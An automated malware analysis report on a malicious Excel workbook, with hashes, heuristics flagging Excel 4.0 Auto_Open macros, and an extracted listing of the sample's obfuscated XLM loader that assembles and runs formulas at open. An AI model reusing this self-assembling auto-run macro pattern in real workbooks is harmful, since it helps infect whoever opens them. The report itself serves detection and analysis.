Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f6b2e6a67bfeb09e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:41 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 2886d909bbb099a2ac47aebf28e31ae0 SHA-1: 85511b9a3fcee54c5987a1f4667829f5aba721aa SHA-256: f6b2e6a67bfeb09e61f13e1763191e72e50a3cde37c1e77dcf6edd2e93ac18df
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6582 bytes
SHA-256: 03295039ba11765c98b76ada6d16d4ee827c3b92d2f42cd50e98ee70b98aa1a4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GkdGtNhdG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F143 
' 0018     22 LABEL : Cell Value, String Constant - BZRLvxI len=0 
' 0018     27 LABEL : Cell Value, String Constant - DfpdvotRuvef len=0 
' 0018     22 LABEL : Cell Value, String Constant - grnqkwf len=0 
' 0018     25 LABEL : Cell Value, String Constant - gSJizBEnkk len=0 
' 0018     25 LABEL : Cell Value, String Constant - hJaatSEgnp len=0 
' 0018     26 LABEL : Cell Value, String Constant - HKBYAMIYHQW len=0 
' 0018     21 LABEL : Cell Value, String Constant - hWhSUc len=0 
' 0018     25 LABEL : Cell Value, String Constant - lPcCYxcDab len=0 
' 0018     26 LABEL : Cell Value, String Constant - nDkVBfsnlzR len=0 
' 0018     23 LABEL : Cell Value, String Constant - nINAlUNj len=0 
' 0018     25 LABEL : Cell Value, String Constant - okfDjmviTX len=0 
' 0018     25 LABEL : Cell Value, String Constant - oPDoHyxhkC len=0 
' 0018     23 LABEL : Cell Value, String Constant - SQTmqsEj len=0 
' 0018     22 LABEL : Cell Value, String Constant - sSZhTwT len=0 
' 0018     23 LABEL : Cell Value, String Constant - tAFFFtwk len=0 
' 0018     25 LABEL : Cell Value, String Constant - tbZMIxXBaJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - wQdQN len=0 
' 0018     26 LABEL : Cell Value, String Constant - wQuFUSZuHfO len=0 
' 0018     23 LABEL : Cell Value, String Constant - XtOStiFh len=0 
' 0018     21 LABEL : Cell Value, String Constant - yTiAKw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GkdGtNhdG,F51,"SET.NAME("tAFFFtwk",VALUE("0"))",""
'  GkdGtNhdG,F53,"SET.NAME("okfDjmviTX",tAFFFtwk)",""
'  GkdGtNhdG,F56,"SET.NAME("SQTmqsEj",tAFFFtwk)",""
'  GkdGtNhdG,F60,"SET.NAME("hWhSUc",COUNTA(yTiAKw))",""
'  GkdGtNhdG,F64,"SET.NAME("grnqkwf",COUNTA(HKBYAMIYHQW))",""
'  GkdGtNhdG,F66,[],""
'  GkdGtNhdG,F69,"SET.NAME("wQdQN","")",""
'  GkdGtNhdG,F73,"okfDjmviTX",""
'  GkdGtNhdG,F76,"SET.NAME("gSJizBEnkk",HLOOKUP("*",yTiAKw,okfDjmviTX,FALSE))",""
'  GkdGtNhdG,F78,"sSZhTwT",""
'  GkdGtNhdG,F83,"SET.NAME("nDkVBfsnlzR",tAFFFtwk)",""
'  GkdGtNhdG,F85,[],""
'  GkdGtNhdG,F89,"nDkVBfsnlzR",""
'  GkdGtNhdG,F92,"oPDoHyxhkC",""
'  GkdGtNhdG,F96,"XtOStiFh",""
'  GkdGtNhdG,F101,"DfpdvotRuvef",""
'  GkdGtNhdG,F105,"SET.NAME("nINAlUNj",VALUE(HLOOKUP("*",HKBYAMIYHQW,DfpdvotRuvef,FALSE)))",""
'  GkdGtNhdG,F109,"wQuFUSZuHfO",""
'  GkdGtNhdG,F111,"wQdQN",""
'  GkdGtNhdG,F115,"SQTmqsEj",""
'  GkdGtNhdG,F120,NEXT(),""
'  GkdGtNhdG,F125,"hJaatSEgnp",""
'  GkdGtNhdG,F128,"SET.NAME("f",INT(T(FORMULA(T(wQdQN)&"",""&T(hJaatSEgnp)))))",""
'  GkdGtNhdG,F130,"tbZMIxXBaJ",""
'  GkdGtNhdG,F134,NEXT(),""
'  GkdGtNhdG,F138,RETURN(),""
'  GkdGtNhdG,F161,"SET.NAME("BZRLvxI",F51)",""
'  GkdGtNhdG,F165,"yTiAKw",""
'  GkdGtNhdG,F168,"SET.NAME("HKBYAMIYHQW",R78C14)",""
'  GkdGtNhdG,F172,"SET.NAME("tbZMIxXBaJ",181)",""
'  GkdGtNhdG,F177,"SET.NAME("lPcCYxcDab",6)",""
'  GkdGtNhdG,F180,BZRLvxI(),""
'  GkdGtNhdG,F181,HALT(),""